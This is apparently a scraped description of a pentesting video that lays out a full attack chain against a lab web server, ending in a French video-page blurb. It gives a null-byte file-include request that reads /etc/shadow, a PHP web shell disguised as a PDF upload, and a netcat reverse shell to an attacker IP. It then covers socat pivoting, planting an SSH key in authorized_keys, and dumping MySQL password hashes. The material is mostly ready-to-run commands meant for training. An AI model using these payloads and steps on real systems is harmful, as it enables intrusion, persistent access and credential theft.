Web App Pentesting- File Include & Post Exploitation
-Determine php include vulnerabilities on server
nikto -h http://192.168.87.135
-Test php include
http://192.168.87.135/index.php?page=/etc/shadow
-Error tell us no file in current directory, and that .php was passed
-We need to nullify the .php aspect, and only pass the command (this doesn’t work past 5.3.4)
-So let's modify:
http://192.168.87.135/index.php?page=/etc/shadow
-Add shadow%00 to remove .php command
http://192.168.87.135/index.php?page=/etc/passwd%00
-Upload file using call to papers
-Check the extension and content on uploading…. Can only upload PDF
Open PDF file take a look at header, duplicate this in our code
-Server interprets file as PDF, but it's really php
-I can't add brackets to the description of the video, I've replaced them with "{" & "}"... please check the video to correct this when creating the php code:
%PDF-1.4
{?php
System($_GET["cmd"]);
?}
-Post exploitation
-Grab shell with File include
-Kali: nc -l -p 5412
-Vuln: nc 192.168.87.164 5412 –e /bin/bash
http://192.168.87.135/index.php?page=uploads/shell.pdf%00&cmd=nc%20192.168.87.164%205412%20-e%20/bin/bash
-Want to grab SSH, but firewalled = use socat
Ssh 192.168.87.135
sudo apt-get install socat (download socat on Vuln machine)
-Attacker cmd:
socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr
-443 will listen for vuln server to connect
-2222 will listen for us to connect (which passes to remote servers redirect)
-Vuln cmd:
while true; do socat TCP4:192.168.87.146:443 TCP4:127.0.0.1:22; done
-Kill the loop once you don't needs redirection anymore
-SSH to remote host (on Kali)
ssh localhost -p 2222
id (on vuln system)
-Don't know www-data's password
ssh-keygen -N test123 -f vulnerable (on Kali)
mkdir ~www-data/.ssh (on Vuln)
-Change from "}}" to brackets: Please check video for code
echo "value" }} ~www-data/.ssh/authorized_keys
-Login via ssh with shell
ssh localhost -p 2222 -l www-data -i vulnerable
-Associate local host port 13306 with remote port 3306
ssh localhost -p 2222 -l www-data -i vulnerable -L 13306:localhost:3306
-Access remote database info
mysql -h localhost -u root -P 13306
show databases;
set mysql;
show tables;
show columns from user;
select host, user, password from user;
Sur cette page du site, vous pouvez voir la vidéo en ligne Web App Pentesting- File Include & Post Exploitation durée heure minute seconde en bonne qualité , qui a été Téléchargé par l'utilisateur Sqearl Salazar 15 juillet 2016, Partagez le lien avec vos amis et connaissances, sur youtube cette vidéo a déjà été regardée 3,195 fois et il a aimé 45 téléspectateurs. Bon visionnage!
